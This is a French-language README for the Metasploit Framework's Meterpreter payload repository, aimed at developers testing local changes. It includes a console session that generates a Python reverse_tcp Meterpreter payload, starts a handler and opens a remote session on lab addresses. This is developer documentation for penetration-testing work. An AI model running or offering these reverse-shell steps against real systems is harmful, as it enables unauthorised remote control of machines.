Dépôt unifié pour différentes charges utiles du Metasploit Framework
Il s'agit d'un dépôt unifié pour différents payloads du Metasploit Framework, qui fusionne ces dépôts :
Un Meterpreter C multiplateforme alternatif, appelé Mettle, est développé à l'adresse https://github.com/rapid7/mettle
Consultez les répertoires individuels pour le README, les instructions de build et les détails de licence spécifiques à Meterpreter :
Pour Python et PHP Meterpreter, vous pouvez tester les modifications de ces fichiers en créant un lien symbolique vers les fichiers associés dans ~/.msf4/payloads/meterpreter.
À titre d'exemple, voici à quoi cela pourrait ressembler pour une modification de Python Meterpreter :
mkdir -p ~/.msf4/payloads
cd ~/metasploit-payloads
ln -s ~/metasploit-payloads/python/meterpreter/ext_server_stdapi.py ~/.msf4/payloads/meterpreter/ext_server_stdapi.py
file ~/.msf4/payloads/meterpreter/ext_server_stdapi.py
/home/your_user/.msf4/payloads/meterpreter/ext_server_stdapi.py: symbolic link to /home/your_user/git/metasploit-payloads/python/meterpreter/ext_server_stdapi.py
Si tout s'est bien passé, vous devriez voir un message d'avertissement lors de la sélection de l'un des payloads Meterpreter correspondants et de la réception d'une session :
msf6 > use payload/python/meterpreter/reverse_tcp
msf6 payload(python/meterpreter/reverse_tcp) > set LHOST 192.168.153.128
LHOST => 192.168.153.128
msf6 payload(python/meterpreter/reverse_tcp) > generate -f raw -o reverse.py
[*] Writing 436 bytes to reverse.py...
msf6 payload(python/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
[*] Started reverse TCP handler on 192.168.153.128:4444
msf6 payload(python/meterpreter/reverse_tcp) > WARNING: Local file /home/your_user/.msf4/payloads/meterpreter/meterpreter.py is being used
WARNING: Local files may be incompatible with the Metasploit Framework
[*] Sending stage (24380 bytes) to 192.168.153.1
WARNING: Local file /home/your_user/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (192.168.153.128:4444 -> 192.168.153.1:50334) at 2022-12-13 12:49:49 -0600
Lorsque vous apportez des modifications à Meterpreter, assurez-vous que les modules de test sont vérifiés comme fonctionnels.